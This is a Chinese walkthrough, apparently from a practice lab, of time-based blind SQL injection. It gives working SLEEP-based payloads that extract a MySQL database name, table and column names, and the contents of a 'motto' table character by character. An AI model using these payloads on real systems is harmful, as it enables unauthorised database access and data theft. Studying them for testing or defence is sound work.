先试数据库的长度，当数字为 6 时发生了延时，说明数据库名共五个字符。

```
and if(length((SELECT concat(database())))<5,sleep(5),1)%23
and if(substr((select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1),1,1)='A',sleep(5),1)  %23
```

开始猜字：

```
and if(substr((SELECT concat(database())),1,1)='m',sleep(5),1)%23
or if((substr(database(),%s,1)=’%s’),sleep(10),0) and ”=’&pass=&action=login” %(i,payload)#
```

数据库

查询 mydbs 数据库中表的数量：3

```
and if((select count(TABLE_NAME) from information_schema.tables where table_schema=0x6d79646273)=3,sleep(5),1)%23
```

查看表名的长度：3，5，4

```
and if(length((select TABLE_NAME from information_schema.tables where table_schema=0x6d79646273 limit 0,1))=3,sleep(5),1)%23
```

考验耐心的时候到了，开始爆表名了

```
and if(substr((select TABLE_NAME from information_schema.tables where table_schema=0x6d79646273 limit 0,1),1,1)='l',sleep(5),1)%23
```

要查询第三个表名的第二个字母是不是 l 就应该这么写

```
and if(substr((select TABLE_NAME from information_schema.tables where table_schema=0x6d79646273 limit 2,1),2,1)='l',sleep(5),1)%23
```

接着看 motto 表中有多少列：3

```
and if((select count(COLUMN_NAME) from information_schema.columns where table_name=0x6D6F74746F )=3,sleep(5),1)%23
```

测列名长：2,8,5

```
and if(length((select COLUMN_NAME from information_schema.columns where table_name=0x6D6F74746F limit 0,1 ))=2,sleep(2),1)%23
```

同样的手法开始跑列名，最后得出：id，username，motto

```
and if(substr((select COLUMN_NAME from information_schema.columns where table_name=0x6D6F74746F limit 1,1 ),1,1)='u',sleep(2),1)%23
```

猜测 motto 有多少行：4

```
and if((select count(*) from motto)=4,sleep(5),1)%23
```

最后开始猜字段

```
and if(ASCII(substr((select motto from motto limit 0,1),1,1))=109,sleep(5),1)%23
```